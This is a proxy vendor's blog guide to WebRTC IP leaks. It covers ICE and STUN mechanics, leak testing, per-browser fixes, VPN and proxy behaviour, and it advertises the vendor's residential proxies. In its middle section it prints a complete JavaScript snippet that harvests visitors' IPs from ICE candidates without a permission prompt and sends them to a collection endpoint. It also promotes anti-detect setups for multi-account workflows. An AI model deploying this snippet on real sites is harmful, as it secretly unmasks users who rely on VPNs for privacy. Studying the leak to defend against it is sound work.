Back to Blog
Apr 24, 2026A WebRTC leak is a privacy flaw where your browser exposes your real public (and sometimes local) IP address directly to a website, bypassing any VPN or proxy you have configured. WebRTC leaks happen because the WebRTC API was designed for peer-to-peer voice, video, and data connections — and to make those connections work, the browser has to reveal its real network addresses to a third-party STUN server. A website that knows what it is doing can scrape those addresses in JavaScript in under 20 milliseconds and learn exactly where you are.
This guide explains exactly how WebRTC leaks happen at the protocol level (STUN, TURN, ICE candidates, mDNS obfuscation), how to test for WebRTC leaks across every major browser, how to fix or disable WebRTC on Chrome, Firefox, Edge, Safari, iOS, and Android, and how proxies and VPNs handle WebRTC correctly — or fail to.
WebRTC (Web Real-Time Communication) is a browser API that enables real-time audio, video, and peer-to-peer data connections without plugins. It is the technology behind Google Meet, Zoom Web, Discord voice, WhatsApp Web calls, Facebook Messenger calls, and hundreds of browser-based videoconferencing apps. WebRTC is enabled by default in Chrome, Firefox, Safari, Edge, Opera, Brave, and every Chromium-based browser on desktop and mobile since 2017.
The problem is that WebRTC was designed to make direct peer-to-peer connections work even when both peers are behind NAT or firewalls. To do that, it uses ICE (Interactive Connectivity Establishment) — a protocol that collects every possible network address the browser can reach the outside world through, including the local LAN IP, the public internet IP, and any VPN or proxy IP. That list, called ICE candidates, is then shared with the other peer so they can find a working route.
When a website — any website, not just legitimate videoconferencing sites — creates a WebRTC peer connection in JavaScript, the browser still goes through this ICE candidate collection. The website can read every address in the list. That is the leak.
WebRTC leaks are not a bug. They are the ICE protocol working exactly as designed, in a context the designers did not fully anticipate.
When WebRTC needs to discover your public IP, it sends a STUN binding request to a STUN server (often Google's public STUN server at stun.l.google.com:19302). The STUN server replies with the public IP address it sees the request coming from. That public IP is your real ISP-assigned address — even if your browser is routing HTTPS through a VPN or proxy, the STUN request goes out over UDP on a separate path and exposes the underlying connection.
ICE candidates are the JSON objects that WebRTC generates for every possible network path. A typical candidate list contains host candidates (local LAN addresses like 192.168.1.42), server-reflexive candidates (your public IP from STUN), and relay candidates (if TURN is used). Each candidate is available to JavaScript through the onicecandidate event. A malicious site reads them, sends them to its backend, and now knows both your local network topology and your real public IP.
In 2019 Chrome introduced mDNS obfuscation for host candidates — instead of exposing the literal 192.168.1.42 local IP, it replaces it with a random UUID like abc123.local. This hides local LAN addresses from untrusted sites. mDNS obfuscation is now standard in Chrome, Edge, and Opera. It does not hide your public (server-reflexive) IP, which is the one that matters most for privacy.
Even without calling getUserMedia (which would trigger a mic/camera permission prompt), a site can create an RTCPeerConnection with only a data channel and still trigger ICE gathering. No permission required, no UI warning, no indication to the user that their IP has just been exposed.
The fastest way to confirm whether your browser leaks via WebRTC is to run a dedicated WebRTC leak test while connected to your VPN or proxy, then compare the address WebRTC reports to the address your HTTPS traffic shows. If they differ, you are leaking.
If any of these tools show an IP that is not the IP of your VPN or proxy exit, your browser is leaking. The leaked IP is almost always your real public IP — which is the identifier your ISP can resolve to your name and physical address with a subpoena.
Not every browser handles WebRTC the same way. The table below summarizes current default behaviour across major browsers.
| Browser | Default Leaks Public IP? | mDNS Obfuscation? | Fix Available? |
|---|---|---|---|
| Chrome (desktop) | Yes | Yes (host only) | Extension required |
| Firefox (desktop) | Yes | Yes | about:config toggle |
| Edge (Chromium) | Yes | Yes | Extension or flag |
| Safari (macOS) | Yes | Yes | Experimental flag |
| Brave | No (policy default) | Yes | Built-in, Shields |
| Tor Browser | No | N/A (WebRTC disabled) | Disabled by default |
| Chrome Android | Yes | Yes | Limited (flags) |
| Safari iOS | Yes | Yes | Experimental WebKit toggle |
Brave and Tor are the only browsers that ship with sane WebRTC defaults for privacy-conscious users. Every other browser leaks by default and requires manual intervention.
Firefox has the cleanest native fix. Type about:config in the address bar, accept the warning, search for media.peerconnection.enabled, and double-click to toggle it to false. WebRTC is now fully disabled. Video calls on Meet, Zoom Web, and Discord will stop working until you re-enable it. For partial fixes that keep WebRTC functional, set media.peerconnection.ice.default_address_only to true and media.peerconnection.ice.no_host to true.
Chrome has no built-in toggle to disable WebRTC. The practical fix is an extension — WebRTC Leak Prevent by Chris Antaki or uBlock Origin with the "Prevent WebRTC from leaking local IP addresses" toggle enabled under Settings → Privacy. For enterprise-managed Chrome, the policy WebRtcIPHandling can be set to disable_non_proxied_udp, which forces all WebRTC traffic through the configured proxy.
Edge inherits Chrome's behaviour. Install WebRTC Network Limiter from the Edge Add-ons store, or navigate to edge://flags and set Anonymize local IPs exposed by WebRTC to Enabled. For enterprise Edge, the same WebRtcIPHandling group policy applies.
Open Safari, enable the Develop menu (Safari → Settings → Advanced → Show Develop menu), then Develop → Experimental Features → uncheck WebRTC mDNS ICE candidates and WebRTC Platform UDP Sockets. This reduces exposure. There is no full native disable short of blocking WebRTC via a content-blocker extension like 1Blocker.
Go to Settings → Safari → Advanced → Experimental Features and disable WebRTC mDNS ICE candidates and WebRTC Platform UDP Sockets. iOS does not expose a full WebRTC disable. For stronger protection, use Firefox Focus on iOS or a browser that blocks WebRTC at the app level.
Chrome on Android offers no stable WebRTC toggle. Install Firefox for Android instead, where about:config is available and media.peerconnection.enabled = false fully disables WebRTC. Alternatively, run Brave on Android — its Shields block WebRTC leaks by default.
Below is the canonical JavaScript used by WebRTC leak scripts. It runs in under 100 ms, requires no user permission, and works in every major browser by default.
// Create a peer connection pointed at any STUN server
const pc = new RTCPeerConnection({
iceServers: [{ urls: "stun:stun.l.google.com:19302" }]
});
const ips = new Set();
pc.onicecandidate = (event) => {
if (!event.candidate) return;
// ICE candidate looks like:
// candidate:842163049 1 udp 1677729535 203.0.113.42 46932 typ srflx ...
const m = event.candidate.candidate.match(
/([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9:]+)/
);
if (m) {
ips.add(m[0]);
// Ship the IP to the attacker backend
fetch("/collect?ip=" + m[0]);
}
};
// Must create a data channel to trigger ICE gathering
pc.createDataChannel("leak");
pc.createOffer().then(o => pc.setLocalDescription(o));
That is the entire attack. No permissions, no UI, no indication. The site now has your real IP even if every HTTPS request it has seen from you has come from a VPN endpoint.
Consumer VPNs vary wildly in how they handle WebRTC. Proton VPN, Mullvad, and IVPN route WebRTC traffic through the tunnel correctly and do not leak. NordVPN and ExpressVPN rely on their browser extensions or a kill switch to prevent leaks — if you use the system-wide VPN without the extension, you can still leak in Chrome. Free VPNs almost universally leak WebRTC.
HTTP/HTTPS proxies (including most browser-level proxies) do not tunnel UDP traffic. WebRTC uses UDP for media and STUN. If you configure an HTTP proxy in Chrome and do not also disable WebRTC, the WebRTC STUN traffic bypasses the proxy entirely and goes out over your real connection. This is the single most common real-world WebRTC leak.
SOCKS5 proxies can tunnel UDP (SOCKS5 UDP ASSOCIATE), but most browsers implement SOCKS5 as TCP-only for security reasons. In practice, a browser using a SOCKS5 proxy will still leak WebRTC unless you separately disable it.
The reliable fix, regardless of proxy or VPN, is to either (a) fully disable WebRTC in the browser or (b) force WebRTC through the proxy/VPN tunnel using a browser policy like Chrome's WebRtcIPHandling: disable_non_proxied_udp.
SpyderProxy's residential and mobile proxies operate at the transport layer, which means UDP traffic is carried end-to-end through the exit node when paired with a compatible client. For most browser-based scraping and multi-account workflows, the practical setup is:
--force-webrtc-ip-handling-policy=disable_non_proxied_udp and route traffic through a SOCKS5 SpyderProxy endpoint.about:config or Chrome extension) and route HTTPS through your SpyderProxy endpoint.A SpyderProxy residential plan at $2.75/GB gives you 130M+ residential exit IPs with sticky sessions up to 24 hours, which pairs cleanly with any anti-detect browser's WebRTC spoof. For casual privacy use, Budget Residential at $1.75/GB is sufficient.
WebRTC leaks are one piece of the browser fingerprinting puzzle. Our browser fingerprinting guide covers canvas, WebGL, TLS/JA4, and audio context fingerprinting — the things that identify you even when your IP is clean. See also proxy vs VPN to understand which one protects against WebRTC, what is a proxy server, and SOCKS5 vs HTTP proxies for why SOCKS5 UDP support matters here.
A WebRTC leak is when your browser exposes your real public IP address through the WebRTC API, bypassing any VPN or proxy you have configured. It happens because WebRTC's ICE protocol contacts a STUN server directly to discover your public IP, and that information is readable by any website running JavaScript.
Only partially. A properly configured VPN that routes all UDP traffic through the tunnel and includes a WebRTC kill switch will prevent leaks. Most consumer VPNs require their browser extension or a specific setting to block WebRTC. Free VPNs and HTTP-only proxies almost always leak WebRTC.
Visit a WebRTC leak test tool such as the SpyderProxy WebRTC Leak Test, browserleaks.com/webrtc, or ipleak.net while connected to your VPN or proxy. Compare the IP shown by WebRTC to the IP shown by your normal HTTP connection. If they differ, your browser is leaking.
Chrome has no built-in toggle. Install the WebRTC Leak Prevent extension or enable uBlock Origin's "Prevent WebRTC from leaking local IP addresses" setting. For enterprise-managed Chrome, set the WebRtcIPHandling policy to disable_non_proxied_udp.
Type about:config in the address bar, accept the warning, search for media.peerconnection.enabled, and double-click to toggle it to false. WebRTC is now fully disabled — video calls will stop working until you re-enable it.
Yes, Safari on iOS leaks WebRTC by default. Go to Settings → Safari → Advanced → Experimental Features and disable WebRTC mDNS ICE candidates and WebRTC Platform UDP Sockets to reduce exposure. iOS does not expose a full WebRTC disable.
Yes. Zoom Web, Google Meet, Discord voice, and any browser-based video conferencing tool uses WebRTC for media transport. If you disable WebRTC, those apps stop working in the browser. The common workaround is to keep WebRTC enabled in one dedicated browser profile and disable it in your main profile.
No. HTTP and HTTPS proxies only tunnel TCP traffic. WebRTC uses UDP for STUN and media, which bypasses HTTP proxies entirely. To prevent WebRTC leaks behind a proxy, disable WebRTC in the browser, use an anti-detect browser with WebRTC spoofing, or route through a VPN that tunnels UDP.
WebRTC leaks are a real, persistent privacy flaw that affects every mainstream browser by default in 2026. A VPN or proxy alone does not fix it — the browser has to be configured correctly, either by disabling WebRTC entirely or by forcing WebRTC traffic through the tunnel. Test your setup with a WebRTC leak test today; if the reported IP is your real ISP address, you are leaking and every site you visit can see it.
Pair SpyderProxy residential IPs with a configured anti-detect browser for the most reliable WebRTC-safe setup. Start at $1.75/GB with Budget Residential or step up to $2.75/GB Premium Residential for 130M+ IPs and 24-hour sticky sessions.